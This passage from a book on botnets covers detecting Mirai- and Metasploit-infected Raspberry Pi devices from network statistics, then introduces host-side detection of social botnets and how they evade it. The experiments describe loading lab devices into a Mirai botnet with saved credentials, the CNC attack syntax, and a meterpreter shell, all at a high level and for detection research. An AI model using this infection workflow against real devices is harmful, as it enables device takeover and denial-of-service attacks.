very high probability. Neural network and convolutional networks are being
employed to increase the accuracy of machine learning models.

9.4 A Microservice Architecture for Data Collection
from IoT Devices

Architecture is a solution to solve some problems of IoT devices. The architecture
makes use of the microservice architecture. Use of microservices in the architec-
ture has an advantage over traditional or monolithic software in terms of ease of
deployment, scalability and making improvements to the architecture.

9.4.1 Microservices
Software organizations till now have been using either the traditional monolithic
architecture or service-oriented architecture. In monolithic architecture, all the
working parts of the software are coded as a single block. Service-oriented
architectures can be identified by their characteristic of multiple blocks of code
with each block corresponding to a service. Even though there might be different
parts of code in service-oriented architecture they are a collective unit.

Monolithic applications are easier to code but challenging to maintain or upgrade
because all the code is in a single block and developers might have to rewrite the
whole code to add a new feature. Applications that follow service-oriented style are
a bit difficult to code compared to monolithic as each block of code can be written by
a different team or individual and all of the blocks of code have to work in sync with
other blocks of the code. These applications are easy to upgrade or maintain since one
block of code must be modified if a specific feature of the application is to be
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modified. If a feature of the software does not work, it can be easily debugged looking
at the corresponding code for the service and the blocks of code that communicate
with it. Both the monolithic and service-oriented approaches have their advantages,
but they become complex to write and maintain once the size and scope of the
software tool increase. The Microservice architecture was introduced to tackle this is
an issue of increase of complexity of writing and maintain a software system
proportional to its feature set.

Microservice architecture is one of the most popular buzz words used in
today’s software industry. It is being associated with multiple domains like
cloud, security, infrastructure, software development and DevOps. Recently,
Microservice-based architecture have been adopted for building secured IoT
systems [30–32]. Microservices has different meanings depending on the way it
is implemented in an organization. Most of the conventional implementations of
microservices have some similar characteristics.

Microservice architecture generally refers to loosely coupled systems that work
collectively with each other to produce a collective output. The individual systems
that are part of a microservice pipeline are self-sufficient. They can be installed
and deployed individually without any dependence on other tools used in the
toolchain. This style gains its popularity from the fact that multiple efficient
software tools or block of code can be combined to form another efficient system
that works toward a common goal. Once a part of microservice becomes old or
obsolete, it can be easily replaced with better alternatives. One of the main
problems of microservice is achieving the synchronized state between different
software tools or pieces of code used. This might become even harder to achieve
depending on the choice of software and compatibility between them.

Microservices also have an advantage of ease of setup. To build the whole
system, one can start from a single piece in the toolchain and start connecting it
to other parts of the framework. The different tools can be on different platforms
of their own. For example, a part of the framework can be installed on one
operating system and another part can be installed on a different operating
system. This is true for many pieces used in the framework as long as they can
communicate with each other. The microservice architecture also provides
a solution for scalability issues. If the software chosen are scalable, then the
combination of those tools is scalable as well.

9.4.2 Proposed Architecture
From the previous section, it is evident that there are rapid innovations in
malware space. Attackers are developing malware to be innovative and resilient
to traditional approaches. The growth in complexity of IoT ecosystems also has
made it difficult to develop a standard solution to tackle all or most of our
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security concerns. This section proposes an architecture by making use of
microservices to collect data from different IoT devices without much overhead.
The solution is designed to be applicable to all IoT devices that are running
a Linux based operating system or has enough capacity to run a container.

The architecture diagram Figure 9.1 shows different microservices deployed on
multiple components. The components are explained subsequently.

IoT: The IoT devices are assumed to be powerful enough to run a container
on the IoT device, or it should have a Linux operating system. Most of the IoT
systems today meet this requirement.

Container: For IoT devices without a Linux based operating system, the
architecture suggests a containerized approach. This makes it easier for a user to
bundle everything in the container and deploy it on multiple devices. This also
helps tackle the problem of heterogeneity in the case where different devices are
to be used for implementation.

Endpoints: The architecture shows multiple endpoints. This enables the IoT
device to send data to multiple devices without congestion. One idea is that IoT
devices from different platforms will send data to different endpoints. This would
be achieved using microservices and solves the problem of heterogeneity.

Figure 9.1 Proposed Microservice IoT framework.
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Cloud: The architecture shows that the endpoints send data to the cloud. This
can be local storage too depending on the organization and infrastructure.

Machine Learning: Once data is collected at a place, it can be analyzed using
machine learning to make sense of data. There can be many use cases and
applications of data depending on the data collected. CPU data can be analyzed
for power consumption, device health, etc. Network traffic data can be analyzed
for identifying malicious activities. Alerts can be included in our machine learning
framework once the model identifies suspicious data.

The framework collects data from IoT devices and sends it to data storage in
the cloud by using Kafka [33] microservice and golang programs. The data is
collected using python, and important observations are drawn.

9.4.3 Setting Up Test Environment

There are limitations to the devices used in the test setup. Kafka has been chosen
to stream data from IoT to storage [34].

IoT Devices: The IoT devices in the test environment should be powerful
enough to run containers if needed. Raspberry Pi’s are the least expensive single
board computers closer to our requirements and easily available [35]. So, we
chose Raspberry pi devices as our IoT device. Conceptual setup of the test
environment is shown in Figure 9.2.

Various IoT devices were used in the experiment to test if the solution works
on IoT devices with different architecture. They are:

Figure 9.2 Conceptual test environment.
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1 Raspberry Pi model 3
1 Raspberry Pi 3b +
1 Raspberry Pi 2
1 Jetson Nvidia TX1 development board.
To achieve the required functionality, microservices were used. They are

described subsequently.
Data Collection: Telegraf is used for metric collection. It is a tool written in

Golang and can be installed on all most all IoT architectures like ARM, PPC,
X86, etc.

Containers: Docker [36] is used as the containerization tool. A fedora_harm
image was used as the container image.

Data Transfer: Kafka is being used as the data transfer tool. Kafka is used
based on its ability to transfer data from multiple inputs to multiple outputs
simultaneously. Kafka is an industry standard for data transfer in data
pipelines.

Cloud: The setup environment is done in the local network. One of the virtual
machines in the local network is considered as cloud.

Databases: InfluxDB is chosen as the database for the test environment.
InfluxDB can scale well with input from thousands of servers and writing up to
a million data points per second.

Machine Learning Model: Python libraries are used for machine learning. Data
is read from InfluxDB and analysis is performed on it.

Container: To make the solution work on different Operating Systems,
a containerized implementation was also tested using Docker containers. This
solution can be deployed on any IoT device that can deploy Docker containers.

Advantages of the architecture are as follows:

1. The architecture makes it possible for multiple devices to send data
simultaneously taking advantage of Kafka scalability.

2. It is possible to collect data from IoT devices running Linux operating
system on multiple architectures as Telgraf can be compiled to work on
multiple architectures

3. Data can be collected from IoT devices even without the Linux operating
system by using containers

4. The same IoT device can send multiple streams to data like sensor data,
device data to different Kafka streams. Data can easily be stored in the
database by reading the respective stream. For example, if data from a sensor
is pushed to Kafka topic 1 and device data is pushed to Kafka topic 2. Both
the data can be fed into multiple data locations just by reading the
respective Kafka topic.

5. The architecture can be scaled to multiple devices without any performance
bottleneck. This is because microservices are employed for the solution.
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Each of the tools used, such as Kafka and InfluxDB, is designed for
thousands of systems to use simultaneously. The same solution can be
employed for thousands of devices.

6. The architecture can be upgraded easily if a user decides to change one or some
tools from the architecture. This is one of the main advantages of using
microservices that they can be decoupled and used with different tools without
any issue. For example, we can replace Kafka with MQTT or other similar
protocol.

9.5 Turning Test Setup into Botnets
As described in the above sections, there are different types of botnets with
various modes for infection. Metasploit and Mirai bot were used to infect the
test setup. Mirai botnet is an example of the latest malware, and Metasploit
helps to gain a better understanding of a single device under malware
infection.

9.5.1 Mirai Botnet

Anna-Senpai, the author of Mirai malware, has open sourced the code of
malware. Researchers point out that it is a diversion tactic to avoid getting
caught. Even though Anna-Senpai was caught and convicted, the open
sourced code was widespread among hacker forums and dark web. The code
has undergone several mutations and is widely circulated on the dark web.
Some of the mutated versions are more difficult to mitigate than the original
Mirai malware.

Hoho Mirai, a slight mutation of the original Mirai malware, was used for
the experiment. Mirai malware comes with CNC and reporter domains. For
this experiment, only CNC was used, and the bots were loaded using loader
scripts that are part of the malware code. The malware was set up on VPS
with Centos 7 operating system. Once the malware is compiled, the CNC
can be opened using a telnet session to the Centos VPS on the port which
runs CNC.

The telnet session in Figure 9.3 shows the Mirai CNC. Various attack options
available from the CNC can be viewed by typing “?” key in the prompt.

Once an attack command is issued, all the bots in the botnet perform that
command. There are many ways to load bots into the botnet like running
a scan of IP’s on the local network and trying to brute force the SSH or
telnet logins with the most used list of passwords or running a payload on
a victim system or using of a list of known vulnerable devices. Loading a list
of vulnerable devices with usernames and passwords is the easiest way to
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increase the bot count in the botnet. The IP address of the Raspberry Pi’s and
their passwords were saved in a text file and run against loader.

The saved file with login credentials of the devices in the experiment is run
against the loader and those devices become part of the botnet. Commands to
perform attacks can be given from the CNC, and all the devices that are part of
the botnet will perform the attack.

The attack commands have a general syntax of “ATTACK_NAME IP TIME_
IN_SEC.” In the experiment, an Xmas attack was initiated on one of the local
servers and data was collected in influx. Xmas attack (Christmas attack) [37] is
a type of Denial of Service (DOS) attack that advantage against stateless firewalls.
While the bot in the Mirai botnet is carrying out the attack, data was collected
using the architecture mentioned in the previous section.

Figure 9.4 HoHo Mirai CNC.

Figure 9.3 Devices in test environment.
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9.5.2 Metasploit

Metasploit [38] is an open source software currently maintained by Rapid7, used for
pen testing and exploitation of remote or local machines. Most of the vulnerabilities
disclosed online are present as exploits in Metasploit. A user can choose an exploit
and a target machine and check if the target machine is vulnerable to that attack.
There are over a thousand exploits to test against a machine in Metasploit.

For the experiment, Metasploit was run in a docker container exposing only
required ports for executing the exploit.

Since Raspberry Pi’s in setup have a Debian based operating system, it is easy
to exploit them using exploits written for Debian systems. Web delivery exploit is
used to infect the Raspberry Pi. The Raspberry has to access the URL where the

Figure 9.5 HoHo Mirai attack options.
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exploit is being run. Metasploit makes it easy to configure and deploy many
exploits just from the command line.

Once the Raspberry Pi accesses the web server that is running the web exploit,
a meterpreter shell is opened from Raspberry device to the docker container
where Metasploit is running.

The Raspberry Pi behaves like a bot because of the meterpreter shell. An
attacker can run various commands, upload and download files on Pi. Even the
shell on Raspberry Pi’s operating system can be accessed via the meterpreter shell.
DDOS can be performed via the meterpreter shell.

Data is collected regarding the network statics using the input net module of
Telegraf in the database via Kafka.

9.6 Botnet Detection Experimentation Results
Data regarding the device was collected using the Telegraf plugin. A part
of data specifically regarding network statistics was used for machine learning
to determine if the device is performing any malicious activity or not. A large
of other collected data is left out. Dashboards are made using the remaining
data.

Figure 9.6 Open Metasploit in the command line.
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9.6.1 Data Collection

Time series data is collected for this experiment using a microservice architecture.
The Telegraf plugin pushes data to a given Kafka topic. A golang [39] program
has been written to check the Kafka topic for new messages and pushes the data
to a database in InfluxDB. The data is obtained from InfluxDB using python.

General machine learning algorithms cannot be applied on time series data as
the values of data considered in the feature set will always be increasing. So, novel
techniques are used for this experiment to identify the anomalies in time series
data.

The input plugin “net” of Telegraf [40] is used alongside the out-of-the-box
configured modules. Data from the device on stats including CPU usage, CPU
idle, RAM usage, number of processes running, number of threads, Sys uptime,
etc., from the out of the box configuration module, are collected in a database.
After adding the net module data of more fields, such as bytes_sent, bytes_recv,
packets_sent, packets_recv, err_in, err_out, drop_in, drop_out, are then collected.
So, the initial size of the features is high. It is observed that all the features except
bytes_sent, bytes_recv are redundant. Hence the final features are bytes_recv and
bytes_sent.

Data is pushed from the Raspberry Pi device to database once every 5 seconds.
This ensures a high number of data points to run the model. The 5-second
interval is also useful to identify suspicious activity within the least time possible.

The data from just the net input plugin has close to 90 columns and most the
columns have empty data.

A large sample of data is collected for data analysis. Data from devices before
infection are collected separately for 15 days, one week, three days, and a few
hours. Data is cleaned by removing all the empty and irrelevant columns. The
Telegraf net plugin collects data related to around 90 fields like drop_in,drop_
$out,err_out,imcp_inmsgs, etc. A few of the columns are shown in Figure 9.7.
The first model was constructed using most of the columns of the net plugin
output. The efficiency of the model was measured while reducing the number of
columns used for input. It was observed that the efficiency of the model was
relatively close between the case when only bytes_sent and bytes_recv were used
and the case when most of the columns were used. The timestamps are adjusted
by converting them into nanoseconds. After cleaning, we keep only two columns
bytes_recv and bytes_sent, while the time unit is measured in nanoseconds.

9.6.2 Data Analysis

General Analysis: Once data is collected, it is prepared by removing the irrelevant
columns and only two features bytes_recv and bytes_sent are kept. The rest of the
features which are removed, provided no value to the model for analysis.
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The behavior between bytes_sent and bytes_recv with respect to time is
shown in Figure 9.8. General analysis like this can be used to identify the
anomalies in case of simple cases, but when there is mixed data, it may not be
straightforward.

Figure 9.7 Some columns from the net plugin.

Figure 9.8 Bytes sent/received with respect to time.
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Figure 9.9 Bytes sent/received with respect to time from (a) uninfected Rasp-
berry Pie and (b) an infected Raspberry device while it is participating in a DOS
attack.
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Data was collected from an uninfected device, infected device when launching
a DOS attack and an infected Raspberry device carrying its normal functions
along with some attacks instructed by the bot master or CNC. To make clear and
distinct observations, data of 30 min was collected for the three different
scenarios mentioned: 30 min data from an uninfected device, 30 min of data
from the infected Raspberry device when it is executing a DOS attack, 30 min of
data from infected Raspberry device where it executes commands from the bot
master only for 15 minutes timespan and behaves like a regular device for the rest
of the time is collected. The data was analyzed without machine learning models
using simple slope functions and graphs.

From Figure 9.9, it can be seen that there is a correlation between bytes_sent
and bytes_recv. The differences between the data from a malicious and good

Figure 9.11 Results of one-class SVM model.

Figure 9.10 Bytes sent/received with respect to time from an infected Raspberry
device that executes some commands given by bot master for a few minutes while
the total duration for data collected is 30 minutes.

Identifying IoT-Based Botnets ■ 317



device are distinguishable. In case of an infected Raspberry device which is part of
a DDOS attack, the data sent is high compared to data received and that can be
observed from the figure.

There is a difference in slope when the device is behaving normally and
when the device is carrying out instructions given by the CNC. The CNC
started sending instructions like file uploads, shell commands, and some ping
commands to the Raspberry device after 900 seconds and it can be seen in the
figure 9.10.

Comparison of data sent and received using simple math functions can be
helpful to differentiate between data from an infected device and non-infected
device in simple cases. This was possible in the observations because the
Raspberry Pi was idle most of the time and only sending the device data to
Kafka. That may not be possible in real life scenarios. In real life scenarios, the
Raspberry Pi may be connected to different sensors and may be sending data
continuously. There might be a need to alert only when the device is infected and
not when one of the sensors of Pi fail. The above general analysis may also fail
when there is a short burst of data sent or received statistics because of the
execution of a small command on the Pi by the CNC. For all the cases where
general analysis may fail because of its limitations, machine learning provides the
solution.

SVM models are supervised machine learning models used for classification.
Instead of giving a probability, it indicates if a point belongs to a particular class
or not. SVM can be used with different types of kernels like rbf, polynomial, etc.,
based on the types of data. One-class SVM is a special case of SVM that has only
one class. One-class SVM given by Scholkopf [41] is an excellent way to identify
if the incoming data is normal or an outlier. In one-class SVM or one-class
classification (OOC) data is trained only on one set of data. In this experiment,
the model is trained with only data from a normal device. After the training is
completed, the model is tested with data from infected data. The model will then
indicate if the new data is like the previous class (with data from the good device)
or not. This can help in identifying to what type of device (infected or normal)
the data belongs to.

The one-class SVM model converts the data into a series of 1s and –1s where 1
represents the next observation point to regular or normal data and –1 represents
outlier or abnormal data.

To make sense of the above data, a simple technique of the longest sequence
is used. Figure 9.11 shows the output when data points are fed into the model.
The resultant array is looked upon for the longest sequence of –1s. For the sake
of simplicity, the longest sequence of 1s is called “score” in the scope of this
experiment.

The model is run against data collected from Raspberry Pi under different
conditions. Some of the results of the experiment are recorded.
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When the model is run against data collected from an infected machine, which
is running a meterpreter shell, it gives a high score (value of the longest sequence
of –1’s), whereas when model runs on data from a normal device, the scores are
low. Figure 9.12 shows the generation of the score when a string of 1’s is passed.

The meterpreter session was active for few hours and many instructions were
carried out like uploading, downloading files, pinging few known websites and
some basic Linux commands like ls, cat, grep, netstat, etc.

Data was collected for various periods of days and weeks. For the model to
alert as soon as it detects the malicious activity, the time period on which data
was trained should be shorter. After testing out the model of data for 5 min,
10 min, and other time periods, it is found that the model works better for
data of time duration 30 min and above. The model was run against data of
30 min duration from different devices in the experiment and the results are
tabularized.

Score 13 is relatively higher than the score of data from an uninfected device
and is close to a score of data when the Raspberry is launching a DOS attack.
The threshold score for our use case in the experiment was set to be 10. So, any
data that has a score of less than 10 is from an uninfected device and data with
a score of more than 10 is from an infected device. Hence, the model that was
constructed using novel detection techniques for time series data and calculating
the scores is an efficient way to distinguish whether an IoT device is performing
any suspicious activity. The model can be programmed to run in real time and
can alert as soon as the score is greater than a particular threshold depending on
how the devices are being used.

Table 9.1 Examples for illustrating attacks

Uninfected device 6

Infected device performing a DDOS attack 15

Infected device acting normally for some time and performing
malicious activity for the rest of time span

13

Figure 9.12 Score of the model from data during a meterpreter session.
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9.6.3 Dashboards
Using the Telegraf plugin, we collected device statistics from Raspberry Pi for every
5 seconds. We have data on multiple stats of hardware data like CPU usage, RAM
usage, Number of processes, number of threads, disk usage, network statistics,
system uptime, etc. All the data is stored in InfluxDB with their respective
measurement names.

InfluxDB stores data in the time series format, i.e., the timestamp can be
a unique key of a row in the database. The data gets written to the database every
5 seconds and that frequency can be modified to an even lesser value. This can

Figure 9.14 Part of Grafana dashboard.

Figure 9.13 Data in InfluxDB.
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help in finding the status of the device in real time as there is live data being
pumped into the database.

The data in InfluxDB is challenging to make sense of, given a large number of
columns. One way to make better sense of the data is to visualize the data.
Grafana tool is used to change the data in InfluxDB to graphs. Grafana [42] is
a free open source tool that can take inputs from multiple databases of different
formats and convert them to graphs. In Grafana, a dashboard is a collection of
graphs and other panels that help visualize the data. Since there is a lot of data
collected for this experiment and it is possible to push live data to the database by
using the microservice architecture built for this experiment, it is possible to build
live monitoring dashboards for the IoT environment.

Making live dashboards can also help us detect any anomalies in the behavior
of devices in the environment in some cases. The graphs in dashboards can be
configured to alert the admins. For example, a disk usage graph can be configured
to send alerts when the disk space usage exceeds 90%. When the alert is sent, the
person responsible for maintaining the IoT device can take necessary actions. In
this way, all the data generated by this experiment can be used. Some data is used
for data analysis to detect the malicious activity of IoT devices and the rest of
unused data can be used to generate dashboards and monitor the IoT environ-
ment in real time.

9.7 Conclusion

9.7.1 Summary

In this chapter, we discussed the reasons for the vulnerabilities of IoT devices and
IoT-based botnets. A new architecture was proposed making use of the current
trend of microservice oriented architecture. It aims to solve the problem of
complexity due to heterogeneity and lack of monitoring. The microservice-based
architecture proposed can collect device data from multiple IoT devices from
different vendors and storing them in a database. The experiment was conducted
on a heterogeneous cluster of three models of Raspberry Pi’s and a one NVIDIA
jetson tx1 module. Telegraf was installed on all the devices and data has been
collected from IoT devices and used for making dashboards and machine
learning. Some of the Raspberry Pi’s in the cluster were turned into bots by
infecting them Mirai malware and using Metasploit to gain access to the devices.

Data was being collected before and after the infection of devices (that turned IoT-
based botnets). A machine learning model was created as detection methods. The
machine learning model gives a score for the data that is being fed. The score of the
model was high when data from an IoT device doing malicious or suspicious activity
was fed into the model. The model score was low when the data used is from an
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uninfected device. The proposed solution can differentiate between an uninfected
device and a device doing a suspicious activity with the help of a trained model that
can successfully differentiate between data from a normal uninfected IoT device and
data from a device infected with malware. Any suspicious activity can be seen from
the dashboards built using the collected data.

9.7.2 Future Research Directions

The experiment described in this chapter is a simple proof of concept of applying
microservice architecture to overcome heterogeneous complexity and to use
device statistical data for determining malicious activity. The data used for the
experiment are bytes sent and received by an IoT device as a whole without any
filtering between the types of data. Note, however, Telegraf net plugin used in
the experiment is powerful enough to differentiate bytes based on the type like
UDP, TCP, and ICMP packets. Further research can be done on how these data
will change based on the type of malware infected. For example, the proposed
model may be used to differentiate a malware that spreads using IRC from a bot
that spreads using UDP by collecting and observing UDP data patterns.
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10.1 Introduction
In recent years, online social networks (OSNs) have gained much popularity [1].
Facebook has over one billion active users and each of other 15 OSNs have over
100 million active users. Given this huge number of active users, OSNs have also
attracted the attention of cyber criminals who diligently perform malicious activities
such as spreading rumor, stealing user privacy, sending spam, spreading phishing
email, propagating malicious URL, and spreading malware (including virus, worm,
trojan, botnet, etc.) [2–5]. A social botnet refers to a group of social bots under the
control of a botmaster who uses the OSN as a command and control (C&C) channel
[6,7]. The first social botnet called “Koobface” was discovered on August 3, 2008,
which targets most OSN sites, such as Facebook, Twitter, and Myspace. Another
social botnet called “Naz bot” was discovered on Twitter in 2009 [8]. In addition,
attackers and researchers have designed several social botnet prototypes [3,9–11].
Many traditional botnets are revitalized by propagating on OSN sites. For example,
Zeus, which was first detected in 2007, steadily proliferated in 2013 by propagating
on Facebook [12]. Another botnet called “Pony botnet” has been found to have
stolen two million passwords from Facebook, Twitter, Yahoo, and ADP as on
December 4, 2013 [13]. In 2014, according to the security firm Trustwave, Pony
botnet steals bitcoins and other digital currencies in the most ambitious cyberattack
on virtual money uncovered thus far [14].

Social botnets have several inherent advantages that enable them to evade
common botnet detection approaches. First, social botnets abuse trusted and popular
websites by acting as C&C servers, which helps to foil traditional botnet server
takedown approaches [15,16]. They also exploit popular ports for C&C commu-
nication. In their traffic, no suspicious address, domain name, protocol, or port is
involved. Therefore, traffic from bots blends in with benign traffic, which helps them
effectively evade network traffic detection approaches. Second, most social bots
exploit information hiding techniques such as cryptography and steganography to
encrypt their commands [17]. Using the hypertext transfer protocol over secure
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socket layer (HTTPS), social bots can effectively impede content inspection in the
network. Third, many social bots mimic user or benign application activities to hide
their malicious activities. These three mechanisms allow social bots to effectively
evade common host-based botnet detection approaches. The main difference
between bots and social bots is that C&C channels of social bots are based on OSN
websites. Researchers have proposed many malware analysis methods, some of which
are very advanced. Social bots must receive commands from their botmasters via
C&C channels. When a social bot is in a malware-analysis environment, it may not
be able to fetch commands from its botmaster as usual. Analysis results are highly
influenced by the behavior of the botmaster because most social bots that can be used
for analysis have been published and their botmasters may have been shut down. As
a result, when a social bot runs in a malware-analysis system, it may do nothing
except connecting to a social website. Therefore, to detect social bots on end hosts,
a novel approach must be developed.

To analyze and detect social botnets, researchers have proposed several construc-
tive approaches, which can be divided into two categories by detection location.
The first category detects abnormal host behavior [18,19], such as registry mod-
ification, file system information, and system calls. However, social bots perform
only a few activities on end hosts. The second category detects abnormal behavior
in an OSN [20,21] based on OSN user information such as messages posted by
users and friend requests sent by users. This approach can find malicious OSN
accounts or messages. However, social bots mimic normal users’ activities on
OSNs. Because social botnets have the unique ability to mimic normal users in
OSNs, detecting them in OSNs becomes difficult.

The detection of social botnets is an arms race—social botnets continuously
evolve to evade new detection features [22]. Based on our experience, social
botnets evolve aggressively and become stronger and more robust. In addition,
existing detection approaches from the user side have not kept pace with their
evolution. In the causal relationship detection approach, it is difficult to synchro-
nize human activities and network traffic. In addition, it is difficult to quantify
the time interval because of many dynamically changing factors such as network
delay, operating system delay, and performance of different computers. Moreover,
many advanced social bots do not perform malicious activities until they have
monitored human activities. Therefore, malicious activities are deliberately mixed
with benign human activities. In the approach used by [9], the authors implicitly
assume that a social bot comprises only one process. However, this assumption does
not hold true today because many bots have evolved that exploit multiple processes
[23,24]. By dividing their malicious activities across several processes, with each
process performing only a portion of the total, the suspicion level can drop to the
same as that for benign processes. In addition, social bots are evolving to have more
advanced mechanisms such as delayed response to evade detection. Most research
has analyzed network flow from social websites to identify suspicious accounts and

Understanding and Detecting Social Botnet ■ 329



messages. Therefore, designing effective and efficient host-side social bot detection
approaches is an active and urgent research imperative.

In this work, we hope to provide the first empirical analysis of the host-side social
botnet evasion mechanisms [25]. To achieve that, we collect the source code,
builders, and execution traces of six social botnets and would like to share to the
research community1. Later, we unveil their evasion mechanisms and validate three
social botnet detection methods. Motivated, we identify nine newly features against
social botnet. Combining with other nine conventional features, we design a new
social botnet detection method with the random forest (RF) machine learning
method. We evaluate our method as well as three state-of-the-art works on our
newly collected social botnet traces. The experiment results show that our method is
able to significantly outperform the related works. In particular, we are able to
achieve 0.999 accuracy and 0.992 F-measure, much higher than the best of the
related works that only gets 0.863 accuracy and 0.503 F-measure value.

In summary, we make the following contributions:

(1) We collect the source codes, builders, and execution traces of six social botnet
and then analyze their evasion mechanisms. We validate the evasion mechan-
isms by applying three state-of-the-art detection methods to the collected
traces and theoretically analyze the reasons of their poor detection results.

(2) Motivated by the insights on their evasion mechanisms, we identify nine new
features and classify the new features and nine conventional features into two
categories: lifecycle and failure-based. With the RF machine learning method,
we are able to build an online social botnet detection method.

(3) We evaluate our method as well as three related works on the entire set of
social botnet traces. With the newly identified features, our approach
performs much better than existing approaches. Using the RF classifier,
our method achieves 0.999 accuracy and 0.992 F-measure, much higher
than the best of the related works that only gets 0.863 accuracy and 0.503
F-measure value.

This chapter is an extended work of our previously paper [25]. In particular, we
add the following new materials: (1) We add a new background Section 10.2.
(2) We add an overview section for our detection method in Section 10.4.1.
(3) We run new experiments and completely change the experiment section as
shown in Section 10.5. (4) We add a new section to discuss the limitation and
future work as shown in Section 10.7. (5) We rewrite the conclusion section
and the summary part of the introduction section.

1 http://pan.baidu.com/s/1c0fix00
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10.2 Background
In this section, we will discuss the threat model and machine learning for botnet
detection.

10.2.1 Social Botnet
Social botnet refers to a botnet using OSN as the C&C channel. The social
botnet is different from the traditional botnet in the following aspects:

■ The commutation strategy is the major difference between social botnet and
traditional botnet. While most traditional botnet communicates with the Inter-
net Relay Chat (IRC), HTTP, and peer-to-peer (P2P), the social botnet uses
OSN websites. The benefit of using OSN websites is that they can easily avoid
blacklist detection method as the OSN websites are included in the whitelist.

■ The attack purpose of social botnet focuses on controlling not only user host,
which is the major purpose of traditional botnet, but also user accounts on the
social network.

■ The attack types of social botnet include not only the ones from traditional
botnet, such as distributed denial-of-service attack and stealing user information,
but also social network-specific attacks, such as spreading spam on the social
network, stealing social network information, and performing abnormal behavior
on the social network.

■ The gathered information of social botnet differs from traditional
botnet by specifically focusing on social-media-related information, such
as user credentials, private profiles of users, and private knowledge of
users’ connections.

10.2.2 Threat Model
We define the threat model of this research as follows:

■ The running host has already been infected by the social botnet and the
antivirus tools are not able to identify them.

■ We consider the applications having malicious intents, such as stealing user
privacy, performing malicious activities, and controlled by a botmaster, as
social botnet. The OSN assistant tools that can perform automatic benign
behaviors are considered as benign.

■ We assume the social botnet cannot tell whether it is running in a virtual
machine or not. That means, the collected traces are the real running traces
of the social botnet. We realize that some advanced botnet is able to tell
whether it is running in a virtual machine or sandbox, and act accordingly.
We omit such evasion mechanisms.
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■ We assume the social botnet is not aware of our monitor tools and thus
cannot act accordingly. That means, the collected traces are the real running
traces. We omit the evasion mechanisms of killing monitor tools.

■ We assume the users of the hosts are not aware of the running social botnet
or the monitor tools, which indicates that they are using the hosts normally.
Although the users may feel the latency brought by the running applica-
tions, we ask them to ignore such uncommon behaviors.

■ The data distribution of the trained dataset is the same with the testing
dataset. Although this assumption may not hold in real circumstances, most
machine learning-based solutions share this assumption. Therefore, we
believe such an assumption is valid for this research.

10.2.3 Machine Learning for Botnet Detection

The task of host-based botnet detection is to identify the malicious event or the
malicious process running on the host. Except the malicious event or process, all
the other events or processes are regarded as benign. Such a task is a classical
binary-class classification task, which is a natural fit for machine learning
classifiers. The machine learning classifier learns a mapping function from the
extracted features to the classified class from the training dataset. Later, the
learned classifier can be used to predict the label of an unknown instance.
Recent botnet detection systems are using the machine learning methods as their
major detection mechanism, such as support vector machine (SVM), decision tree
(DT), and RF [26]. Due to the natural fit, most machine-learning-based methods
achieve better results compared with conventional rule-based methods.

The task of host-based social botnet detection is also a binary-class classifica-
tion problem. That means, machine learning should be a good fit. Therefore, we
are using machine learning techniques to identify the social botnet.

10.3 Social Botnet Analysis
In this section, we analyze the existing social botnet and understand the efficacy of
conventional detection methods against social botnet. First, we introduce the social
botnet trace collection. Next, we describe the evasion mechanisms utilized by existing
social botnet. Finally, we validate these mechanisms by applying three state-of-the-art
detection methods against the social botnet traces.

10.3.1 Social Botnet Trace Collection
We collect social botnet traces in two steps, collecting social botnet and collecting the
trace. It is challenging to collect social botnet source code or builders because hackers
use complicated encryption mechanisms to pack the source code and only spread the

332 ■ Botnets



bot binaries to infect hosts. In addition, researchers who have source codes or builders
are not allowed to share them with the public, given the constraints associated with
academic ethics. After a lot of efforts, we were able to get the source codes of most
existing social botnets, including Twitterbot [27], Twebot [28], Yazanbot [3], Nazbot
[9], Wbbot [29], and Fbbot. We get the source code of Twitterbot from the authors
[27]. We get the builder of Twebot from the author of a social botnet detection method
[28]. We reproduce Yazanbot based on their paper [3]. We reproduce Nazbot based on
their paper and name it as FixNazbot [9]. Not limited to this, we design two new social
botnet, one isWbbot against SinaWeibo [29], and the other is Fbbot against Facebook.

After getting the social botnets, we collect their traces by setting up a virtual
machine running Windows XP operating system. We use Process Monitor to
record Registry and File operations [30], Microsoft Network Monitor to collect
network traffic [31], and a self-written hook to record mouse and keyboard
events. When the bots are running, we request the users to operate the virtual
machine as they would normally, such as visiting social network, surfing the
Internet, listening to music, etc. Both benign and malicious activities were
captured. Table 10.1 summarizes the details of these traces.

10.3.2 Understanding the Evasion Mechanisms of
Social Botnet

Social botnets utilize many distinctive and deceptive evasion mechanisms, which
represent the key challenges associated with social botnet detection. We classify
these mechanisms into two categories—basic and advanced mechanisms.

10.3.2.1 Basic Evasion Mechanisms

Although social botnets differ, they share some common detection evasion
mechanisms, such as propagating on OSN websites, and performing less pre-

Table 10.1 Collected traces

Trace Duration Size

Twitterbot 24 h 8.36 GB

Twebot 18 h 2.77 GB

Yazanbot 24 h 7.36 GB

FixNazbot 24 h 4.99 GB

Wbbot 18 h 11.5 GB

Fbbot 5 h 4.65 GB

Total 113 h 39.63 GB
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defined host behaviors than traditional botnets. We define them as basic
evasion mechanisms and use Ei to denote the i-th basic evasion mechanism.

Eb
1: Propagation on OSN websites. OSN websites provide several natural

advantages for the propagation of the malicious bot binaries, including the trust
between friends, fast propagation speed, and encryption. First, in OSNwebsites, users
can share their ideas, pictures, or videos with friends. Since this content comes from
our friends, we trust them by default. Therefore, social botnets such as Koobface can
exploit this trust to infect more users [6]. Second, the messages on OSN websites
propagate so rapidly through retweets [32] that malicious URLs propagate fast and
can be widely covered [33]. Third, the URLs of the OSN websites are transferred into
shortened URLs, such as Twitter and Sina Weibo. Such a mechanism enables the
attackers to hide the true URL domain, and thereby preventing the OSN websites
from effectively applying blacklists to filter out these malicious URLs [34]. In
addition, the social botnet can use deceptive social engineering techniques to induce
certain behaviors by users, such as the provocative messages employed by Koobface.

Eb
2: Less pre-defined host behaviors. Social bots perform less pre-defined host

behaviors than traditional bots. Because the host behaviors of traditional bots
have been well analyzed in previous studies [35–37], the social bots with similar
behaviors can be easily detected. In this situation, however, social bots possess the
most essential behaviors, such as the capability to modify a bootstrap list to cause
the social bots to start along with the system or browser.

Eb
3: Many OSN-related host behaviors. Although social bots have less

predefined host behaviors, they have many OSN-related host behaviors, such as
checking Internet cookies to track a user’s OSN activities. Social bots attempt to
connect with the botmaster by various mechanisms.

Eb
4: Exploiting popular OSN websites as C&C servers. Traditional botnets

that use IRC or HTTP as the C&C channel face the challenge of single-point
failure, in which the server is detected and shut down. However, social botnets
can easily overcome this challenge since their servers are popular OSN websites,
which are certainly on the white list. This evasion mechanism is fatal to
traditional botnet detection methods since there are no anomalous addresses,
